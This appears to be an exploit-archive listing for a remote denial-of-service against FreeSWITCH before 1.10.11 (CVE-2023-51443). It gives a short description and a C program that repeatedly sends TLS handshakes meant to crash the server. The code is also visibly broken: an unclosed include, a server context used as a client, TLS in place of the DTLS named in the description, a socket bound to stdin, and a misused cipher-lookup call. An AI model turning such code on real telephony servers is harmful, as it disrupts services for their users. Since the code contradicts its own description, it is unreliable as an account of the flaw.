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FreeSWITCH Denial Of Service

FreeSWITCH Denial Of Service
Posted Jan 8, 2024
Authored by Amirhossein Bahramizadeh

FreeSWITCH versions prior to 1.10.11 remote denial of service exploit that leverages a race condition in the hello handshake phase of the DTLS protocol.

tags | exploit, remote, denial of service, protocol
advisories | CVE-2023-51443
SHA-256 | c9c3686ee337d8542426ced66a1b6b5eb7140101aed0bc4ec11b15ee6a810dab

FreeSWITCH Denial Of Service

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#include <stdio.h
#include <string.h>
#include <unistd.h>
#include <openssl/ssl.h>
#include <openssl/err.h>

#define IP "127.0.0.1"
#define PORT 5061

int main() {
SSL_library_init();
SSL_load_error_strings();
OpenSSL_add_ssl_algorithms();

const SSL_METHOD *method = TLS_server_method();
SSL_CTX *ctx = SSL_CTX_new(method);

if (!ctx) {
fprintf(stderr, "Unable to create SSL context\n");
ERR_print_errors_fp(stderr);
return 1;
}

SSL *ssl = SSL_new(ctx);
if (!ssl) {
fprintf(stderr, "Unable to create SSL\n");
ERR_print_errors_fp(stderr);
return 1;
}

if (SSL_set_fd(ssl, fileno(stdin)) <= 0) {
fprintf(stderr, "Unable to set SSL file descriptor\n");
ERR_print_errors_fp(stderr);
return 1;
}

if (SSL_set_connect_state(ssl) <= 0) {
fprintf(stderr, "Unable to set SSL connect state\n");
ERR_print_errors_fp(stderr);
return 1;
}

const SSL_CIPHER *cipher = SSL_CIPHER_find("TLS_NULL_WITH_NULL_NULL");
if (!cipher) {
fprintf(stderr, "Unable to find cipher\n");
ERR_print_errors_fp(stderr);
return 1;
}

SSL_set_cipher_list(ssl, "TLS_NULL_WITH_NULL_NULL");

if (SSL_connect(ssl) <= 0) {
fprintf(stderr, "Unable to connect\n");
ERR_print_errors_fp(stderr);
return 1;
}

printf("Connected with cipher %s\n", SSL_CIPHER_get_name(SSL_get_current_cipher(ssl)));

// Send malicious ClientHello messages continuously
while (1) {
if (SSL_connect(ssl) <= 0) {
fprintf(stderr, "Unable to connect\n");
ERR_print_errors_fp(stderr);
return 1;
}
sleep(1);
}

SSL_shutdown(ssl);
SSL_free(ssl);
SSL_CTX_free(ctx);
EVP_cleanup();

return 0;
}
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